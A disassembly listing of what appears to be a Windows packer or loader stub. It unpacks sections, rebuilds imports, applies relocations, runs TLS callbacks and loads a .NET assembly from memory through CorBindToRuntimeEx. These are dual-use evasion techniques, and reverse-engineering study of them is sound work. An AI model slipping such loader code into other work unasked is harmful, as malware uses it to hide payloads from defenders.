		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_438CA6:				; CODE XREF: start+264j
		mov	eax, ds:off_438024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	short loc_438D0F
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		mov	ecx, [ecx+eax+7Ch]
		mov	esi, ds:dword_4396BC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	edx, ds:off_438024
		mov	edi, ds:dword_438028
		add	edi, [edx+eax+80h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		mov	edx, ds:dword_4396BC
		add	edx, [ecx+eax+7Ch]
		mov	ds:dword_4396BC, edx
		jmp	short loc_438C9F
; ---------------------------------------------------------------------------


loc_438D0F:				; CODE XREF: start+279j
		push	8000h
		push	0
		push	[ebp+var_3C]
		call	ds:dword_438234	; VirtualFree
		jmp	loc_438E0E
; ---------------------------------------------------------------------------


loc_438D24:				; CODE XREF: start+1CAj
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+10h]
		mov	eax, ds:off_438024
		sub	ecx, [eax+0Ch]
		mov	eax, ds:off_438024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_3C], ecx
		and	[ebp+var_28], 0
		jmp	short loc_438D5C
; ---------------------------------------------------------------------------


loc_438D55:				; CODE XREF: start:loc_438E09j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_438D5C:				; CODE XREF: start+31Aj
		mov	eax, ds:off_438024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	loc_438E0E
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		cmp	dword ptr [ecx+eax+74h], 0
		jz	loc_438E09
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		cmp	dword ptr [ecx+eax+7Ch], 0
		jbe	short loc_438E09
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		mov	edx, ds:dword_438028
		add	edx, [ecx+eax+80h]
		mov	ds:dword_4396BC, edx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		mov	eax, [ecx+eax+7Ch]
		mov	ds:dword_4396C0, eax
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		mov	edx, [ebp+var_3C]
		add	edx, [ecx+eax+78h]
		mov	ds:off_4396B8, edx
		push	ds:dword_4396BC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, ds:off_438024
		push	dword ptr [ecx+eax+7Ch]
		push	ds:off_4396B8
		call	sub_438960
		add	esp, 0Ch


loc_438E09:				; CODE XREF: start+346j start+35Dj
		jmp	loc_438D55
; ---------------------------------------------------------------------------


loc_438E0E:				; CODE XREF: start+2E6j start+32Fj
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+24h]
		mov	[ebp+var_50], ecx


loc_438E1F:				; CODE XREF: start+5F7j
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_439035
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+24h], 0
		jz	loc_439035
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_50]
		call	ds:dword_438248	; VirtualProtect
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_438028
		add	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		push	[ebp+var_C]
		call	ds:dword_438244	; GetModuleHandleA
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_438E7D
		push	8
		push	0
		push	[ebp+var_C]
		call	ds:dword_438240	; LoadLibraryExA
		mov	[ebp+var_30], eax


loc_438E7D:				; CODE XREF: start+432j
		cmp	[ebp+var_30], 0
		jnz	short loc_438EBB
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		push	[ebp+var_4]
		call	ds:dword_438240	; LoadLibraryExA
		mov	[ebp+var_30], eax


loc_438EBB:				; CODE XREF: start+448j
		cmp	[ebp+var_30], 0
		jnz	short loc_438EED
		push	[ebp+var_C]
		push	offset aARequired_dl_0 ; "A required .DLL file,	%hs, was not foun"...
		push	[ebp+var_24]
		call	ds:dword_43825C	; wsprintfA
		add	esp, 0Ch
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_438260	; MessageBoxA
		push	0
		call	ds:dword_43824C	; ExitProcess


loc_438EED:				; CODE XREF: start+486j
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_30]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+4], 0CDC31337h
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_438028
		add	ecx, [eax+10h]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0
		jnz	short loc_438F1F
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		jmp	short loc_438F2D
; ---------------------------------------------------------------------------


loc_438F1F:				; CODE XREF: start+4DCj
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_438028
		add	ecx, [eax]
		mov	[ebp+var_18], ecx


loc_438F2D:				; CODE XREF: start+4E4j start+5E9j
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 0
		jz	loc_439027
		and	[ebp+var_5C], 0
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_438F67
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43823C	; GetProcAddress
		mov	[ebp+var_5C], eax
		jmp	short loc_438F87
; ---------------------------------------------------------------------------


loc_438F67:				; CODE XREF: start+510j
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		add	eax, ds:dword_438028
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43823C	; GetProcAddress
		mov	[ebp+var_5C], eax


loc_438F87:				; CODE XREF: start+52Cj
		cmp	[ebp+var_5C], 0
		jnz	short loc_438FF7
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_438FC2
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsL_1 ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	ds:dword_43825C	; wsprintfA
		add	esp, 14h
		jmp	short loc_438FDF
; ---------------------------------------------------------------------------


loc_438FC2:				; CODE XREF: start+560j
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsL_2 ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	ds:dword_43825C	; wsprintfA
		add	esp, 14h


loc_438FDF:				; CODE XREF: start+587j
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_438260	; MessageBoxA
		push	0
		call	ds:dword_43824C	; ExitProcess


loc_438FF7:				; CODE XREF: start+552j
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	4
		push	[ebp+var_20]
		call	ds:dword_438248	; VirtualProtect
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_5C]
		mov	[eax], ecx
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		add	eax, 4
		mov	[ebp+var_20], eax
		jmp	loc_438F2D
; ---------------------------------------------------------------------------


loc_439027:				; CODE XREF: start+4FAj
		mov	eax, [ebp+var_50]
		add	eax, 14h
		mov	[ebp+var_50], eax
		jmp	loc_438E1F
; ---------------------------------------------------------------------------


loc_439035:				; CODE XREF: start+3EDj start+3FCj
		mov	eax, ds:off_438024
		mov	eax, [eax+1Ch]
		cmp	eax, ds:dword_438028
		jz	loc_4391AC
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+28h], 0
		jz	loc_4391AC
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+28h]
		mov	[ebp+var_34], ecx


loc_439069:				; CODE XREF: start+76Ej
		mov	eax, [ebp+var_34]
		cmp	dword ptr [eax], 0
		jz	loc_4391AC
		mov	eax, [ebp+var_34]
		add	eax, 8
		mov	[ebp+var_4C], eax
		and	[ebp+var_28], 0
		jmp	short loc_43908B
; ---------------------------------------------------------------------------


loc_439084:				; CODE XREF: start+75Dj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_43908B:				; CODE XREF: start+649j
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		sub	eax, 8
		cdq
		sub	eax, edx
		sar	eax, 1
		cmp	[ebp+var_28], eax
		jge	loc_43919B
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		add	eax, ds:dword_438028
		mov	ecx, [ebp+var_4C]
		movzx	ecx, word ptr [ecx]
		and	ecx, 0FFFh
		add	eax, ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jz	short loc_4390DB
		cmp	[ebp+var_60], 3
		jz	short loc_4390E0
		jmp	loc_439161
; ---------------------------------------------------------------------------


loc_4390DB:				; CODE XREF: start+695j
		jmp	loc_43918E
; ---------------------------------------------------------------------------


loc_4390E0:				; CODE XREF: start+69Bj
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_48], eax
		mov	eax, ds:off_438024
		mov	ecx, [ebp+var_48]
		sub	ecx, [eax+1Ch]
		add	ecx, ds:dword_438028
		mov	[ebp+var_48], ecx
		mov	eax, [ebp+var_48]
		cmp	eax, ds:dword_438028
		jb	short loc_439118
		mov	eax, [ebp+var_10]
		mov	ecx, ds:dword_438028
		add	ecx, [eax+50h]
		cmp	[ebp+var_48], ecx
		jbe	short loc_439146


loc_439118:				; CODE XREF: start+6CCj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	offset aErrorBadRelo_0 ; "Error	bad relocation pointer:	*pdw = 0x"...
		push	[ebp+var_24]
		call	ds:dword_43825C	; wsprintfA
		add	esp, 0Ch
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_438260	; MessageBoxA
		push	0
		call	ds:dword_43824C	; ExitProcess


loc_439146:				; CODE XREF: start+6DDj
		lea	eax, [ebp+var_2C]
		push	eax
		push	40h
		push	4
		push	[ebp+var_1C]
		call	ds:dword_438248	; VirtualProtect
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		jmp	short loc_43918E
; ---------------------------------------------------------------------------


loc_439161:				; CODE XREF: start+69Dj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aUnexpectedRe_0 ; "Unexpected relocation	type: *pw = 0x%04"...
		push	[ebp+var_24]
		call	ds:dword_43825C	; wsprintfA
		add	esp, 10h
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_438260	; MessageBoxA


loc_43918E:				; CODE XREF: start:loc_4390DBj
					; start+726j
		mov	eax, [ebp+var_4C]
		inc	eax
		inc	eax
		mov	[ebp+var_4C], eax
		jmp	loc_439084
; ---------------------------------------------------------------------------


loc_43919B:				; CODE XREF: start+663j
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+4]
		mov	[ebp+var_34], ecx
		jmp	loc_439069
; ---------------------------------------------------------------------------


loc_4391AC:				; CODE XREF: start+60Aj start+619j ...
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4391BC
		call	sub_43928D


loc_4391BC:				; CODE XREF: start+77Cj
		mov	eax, ds:off_438024
		mov	ecx, ds:dword_438028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx


loc_4391CD:				; CODE XREF: start+58j
					; start:loc_439230j
		push	8000h
		push	0
		push	[ebp+var_24]
		call	ds:dword_438234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_4]
		call	ds:dword_438234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_14]
		call	ds:dword_438234	; VirtualFree
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_439210
		push	0
		call	ds:dword_43824C	; ExitProcess


loc_439210:				; CODE XREF: start+7CDj
		mov	eax, [ebp+var_38]
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 60h
		pop	ebp
		push	eax
		mov	eax, ds:off_438024
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_43922B
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_43922B:				; CODE XREF: start+7EBj
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		jmp	short loc_439232
; ---------------------------------------------------------------------------


loc_439230:				; CODE XREF: start+1BCj
		jmp	short loc_4391CD
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_439232:				; CODE XREF: start+7F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public TlsCallback_0

TlsCallback_0	proc near		; CODE XREF: sub_43928D+25p
					; DATA XREF: .ex_cod:TlsCallbackso

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_43800C, 0
		push	esi
		jz	short loc_439266
		mov	eax, ds:off_438024
		mov	esi, [eax+40h]
		test	esi, esi
		jz	short loc_439288


loc_439250:				; CODE XREF: TlsCallback_0+2Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_439288
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		add	esi, 4
		jmp	short loc_439250
; ---------------------------------------------------------------------------


loc_439266:				; CODE XREF: TlsCallback_0+Bj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_438010, 1
		mov	ds:dword_438014, eax
		mov	eax, [ebp+arg_4]
		mov	ds:dword_438018, eax
		mov	eax, [ebp+arg_8]
		mov	ds:dword_43801C, eax


loc_439288:				; CODE XREF: TlsCallback_0+17j
					; TlsCallback_0+1Dj
		pop	esi
		pop	ebp
		retn	0Ch
TlsCallback_0	endp


; =============== S U B	R O U T	I N E =======================================



sub_43928D	proc near		; CODE XREF: start+77Ep
		cmp	ds:dword_438010, 0
		mov	ds:dword_43800C, 1
		jz	short locret_4392B7
		push	ds:dword_43801C
		push	ds:dword_438018
		push	ds:dword_438014
		call	TlsCallback_0

locret_4392B7:				; CODE XREF: sub_43928D+11j
		retn
sub_43928D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4392B8	proc near		; CODE XREF: start+1B5p

var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_438254
		xor	ebx, ebx
		push	offset aOle32_dll_0 ; "ole32.dll"
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	edi	; LoadLibraryA
		mov	esi, ds:dword_43823C
		push	offset aCoinitialize_0 ; "CoInitialize"
		push	eax
		mov	[ebp+var_38], eax
		call	esi	; GetProcAddress
		push	offset aCouninitiali_0 ; "CoUninitialize"
		mov	[ebp+var_18], eax
		push	[ebp+var_38]
		call	esi	; GetProcAddress
		push	offset aMscoree_dll_0 ;	"mscoree.dll"
		mov	[ebp+var_38], eax
		call	edi	; LoadLibraryA
		push	offset aCorbindtorun_0 ; "CorBindToRuntimeEx"
		push	eax
		call	esi	; GetProcAddress
		push	offset aOleaut32_dll_0 ; "oleaut32.dll"
		mov	[ebp+var_1C], eax
		call	edi	; LoadLibraryA
		mov	edi, eax
		push	19Bh
		push	edi
		call	esi	; GetProcAddress
		push	17h
		push	edi
		mov	[ebp+var_20], eax
		call	esi	; GetProcAddress
		push	18h
		push	edi
		mov	[ebp+var_24], eax
		call	esi	; GetProcAddress
		push	8
		push	edi
		mov	[ebp+var_2C], eax
		call	esi	; GetProcAddress
		push	10h
		push	edi
		mov	[ebp+var_30], eax
		call	esi	; GetProcAddress
		cmp	[ebp+var_18], ebx
		mov	[ebp+var_34], eax
		jz	loc_4394E6
		cmp	[ebp+var_38], ebx
		jz	loc_4394E6
		cmp	[ebp+var_1C], ebx
		jz	loc_4394E6
		cmp	[ebp+var_20], ebx
		jz	loc_4394E6
		cmp	[ebp+var_24], ebx
		jz	loc_4394E6
		cmp	[ebp+var_2C], ebx
		jz	loc_4394E6
		cmp	[ebp+var_30], ebx
		jz	loc_4394E6
		cmp	eax, ebx
		jz	loc_4394E6
		push	ebx
		call	[ebp+var_18]
		test	eax, eax
		jl	loc_4394E6
		lea	eax, [ebp+var_4]
		push	eax
		push	offset loc_438338
		push	(offset	loc_438345+3)
		push	2
		push	offset aWks_0	; "wks"
		push	ebx
		call	[ebp+var_1C]
		test	eax, eax
		jl	loc_4394E6
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	loc_4394E6
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		test	eax, eax
		mov	eax, [ebp+var_8]
		jl	loc_4394E9
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	offset dword_438150
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_4394E6
		push	[ebp+arg_4]
		push	ebx
		push	11h
		call	[ebp+var_20]
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jz	loc_4394E6
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_28], ebx
		push	ecx
		push	eax
		call	[ebp+var_24]
		test	eax, eax
		jge	short loc_43943F
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_439429
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_439429:				; CODE XREF: sub_4392B8+169j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	loc_4394CC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4394CC
; ---------------------------------------------------------------------------


loc_43943F:				; CODE XREF: sub_4392B8+162j
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_28]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		push	[ebp+var_18]
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	[ebp+var_2C]
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+var_18]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0B4h]
		test	eax, eax
		jl	short loc_4394B7
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+40h]
		test	eax, eax
		jl	short loc_4394B7
		lea	eax, [ebp+var_48]
		push	eax
		call	[ebp+var_30]
		push	ebx
		push	ebx
		sub	esp, 10h
		lea	esi, [ebp+var_48]
		mov	edi, esp
		mov	eax, [ebp+var_C]
		movsd
		mov	ecx, [eax]
		push	eax
		movsd
		movsd
		movsd
		call	dword ptr [ecx+94h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		push	[ebp+var_18]
		call	[ebp+var_34]
		call	[ebp+var_38]


loc_4394B7:				; CODE XREF: sub_4392B8+1B9j
					; sub_4392B8+1CAj
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_4394C4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4394C4:				; CODE XREF: sub_4392B8+204j
		lea	ecx, [ebp+var_4]
		call	sub_43952C


loc_4394CC:				; CODE XREF: sub_4392B8+176j
					; sub_4392B8+182j
		lea	ecx, [ebp+var_C]
		call	sub_43952C
		lea	ecx, [ebp+var_10]
		call	sub_43952C
		lea	ecx, [ebp+var_14]
		call	sub_43952C
		jmp	short loc_439527
; ---------------------------------------------------------------------------


loc_4394E6:				; CODE XREF: sub_4392B8+91j
					; sub_4392B8+9Aj ...
		mov	eax, [ebp+var_8]


loc_4394E9:				; CODE XREF: sub_4392B8+125j
		cmp	eax, ebx
		jz	short loc_4394F3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4394F3:				; CODE XREF: sub_4392B8+233j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_439500
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_439500:				; CODE XREF: sub_4392B8+240j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_43950D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_43950D:				; CODE XREF: sub_4392B8+24Dj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_43951A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_43951A:				; CODE XREF: sub_4392B8+25Aj
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_439527
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_439527:				; CODE XREF: sub_4392B8+22Cj
					; sub_4392B8+267j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4392B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43952C	proc near		; CODE XREF: sub_4392B8+20Fp
					; sub_4392B8+217p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_439538
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_439538:				; CODE XREF: sub_43952C+4j
		retn
sub_43952C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439539	proc near		; CODE XREF: sub_438960+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx


loc_439589:				; CODE XREF: sub_439539+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_43959F
		cmp	cl, 0E9h
		jz	short loc_43959F
		inc	eax
		jmp	loc_4396A5
; ---------------------------------------------------------------------------


loc_43959F:				; CODE XREF: sub_439539+59j
					; sub_439539+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_4395B9
		and	dword ptr [esi], 0
		jmp	short loc_4395C9
; ---------------------------------------------------------------------------


loc_4395B9:				; CODE XREF: sub_439539+79j
		test	ecx, ecx
		jbe	short loc_4395C9


loc_4395BD:				; CODE XREF: sub_439539+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_4395BD


loc_4395C9:				; CODE XREF: sub_439539+7Ej
					; sub_439539+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_4395DA
		cmp	dl, 0FFh
		jnz	loc_439691


loc_4395DA:				; CODE XREF: sub_439539+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_439691
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_439691
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx


loc_43961B:				; CODE XREF: sub_439539+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_439663
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_43964B
		cmp	dl, 0FFh
		jnz	short loc_439660


loc_43964B:				; CODE XREF: sub_439539+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_43961B
; ---------------------------------------------------------------------------


loc_439660:				; CODE XREF: sub_439539+110j
		mov	edi, [ebp+arg_0]


loc_439663:				; CODE XREF: sub_439539+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_4396A5
; ---------------------------------------------------------------------------


loc_439691:				; CODE XREF: sub_439539+9Bj
					; sub_439539+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_4396A0
		cmp	dl, 0FFh
		jnz	short loc_4396A5


loc_4396A0:				; CODE XREF: sub_439539+160j
		or	ecx, 10h
		mov	[esi], ecx


loc_4396A5:				; CODE XREF: sub_439539+61j
					; sub_439539+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_439589
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_439539	endp

; ---------------------------------------------------------------------------
		align 8
off_4396B8	dd offset dword_42C000	; DATA XREF: start+188w start+19Cr ...
dword_4396BC	dd 8CB9DCh		; DATA XREF: start+15Fw start+165r ...
dword_4396C0	dd 0B22Ch		; DATA XREF: start+175w start+21Dw ...
		dd 2 dup(0)
		dd 38304h, 38234h, 38228h, 2 dup(0)
		dd 3832Ch, 3825Ch, 3 dup(0)
		dd 39760h, 3979Ch, 3 dup(0)
		dd 3976Bh, 397A4h, 3 dup(0)
		dd 39776h, 397ACh, 3 dup(0)
		dd 39783h, 397B4h, 3 dup(0)
		dd 3978Fh, 397BCh, 5 dup(0)
		dd 4356534Dh, 642E5452h, 57006C6Ch, 335F3253h, 6C642E32h
